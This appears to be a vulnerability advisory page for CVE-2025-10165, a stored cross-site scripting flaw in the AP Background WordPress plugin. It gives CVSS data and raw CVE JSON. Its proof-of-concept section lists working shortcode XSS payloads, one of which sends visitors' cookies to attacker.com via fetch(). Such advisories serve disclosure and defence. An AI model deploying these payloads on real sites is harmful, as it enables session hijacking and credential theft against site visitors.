Security Vulnerability Report
中文
CVE-2025-10165 CVSS 6.4 MEDIUM

CVE-2025-10165

Published: 2025-10-03 12:15:42
Last Modified: 2026-04-15 00:35:42

Description

The AP Background plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'adv_parallax_back' shortcode in all versions up to, and including, 3.8.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress AP Background 插件 <= 3.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-10165 --> <!-- Attack Scenario: Authenticated Contributor-level attacker injects malicious payload via shortcode attribute --> <!-- Step 1: Attacker logs into WordPress with Contributor or higher privileges --> <!-- Step 2: Attacker creates a new post or edits an existing one --> <!-- Step 3: Attacker inserts the following malicious shortcode in the post content --> [adv_parallax_back title='"><script>alert("XSS-Vulnerability-CVE-2025-10165")</script>'] <!-- Alternative payloads for cookie stealing / session hijacking --> <!-- Payload 1: Simple alert-based proof of concept --> [adv_parallax_back title='"><script>alert(document.domain)</script>'] <!-- Payload 2: Cookie exfiltration (requires attacker-controlled server) --> [adv_parallax_back title='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- Payload 3: Event handler injection --> [adv_parallax_back title='" onmouseover="alert(1)"'] <!-- Payload 4: Image tag with onerror handler --> [adv_parallax_back image='" onerror="alert(document.cookie)"'] <!-- Step 4: Attacker publishes the post --> <!-- Step 5: Any user visiting the post page will trigger the injected JavaScript --> <!-- Step 6: Malicious code executes in victim's browser context --> <!-- Impact: Session hijacking, credential theft, privilege escalation, defacement -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10165", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:41.733", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The AP Background plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'adv_parallax_back' shortcode in all versions up to, and including, 3.8.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ap-background/trunk/includes/shortCodeClass.php#L44", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/ap-background", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f98b848c-9f97-4d00-97de-7651b9035731?source=cve", "source": "[email protected]"}]}}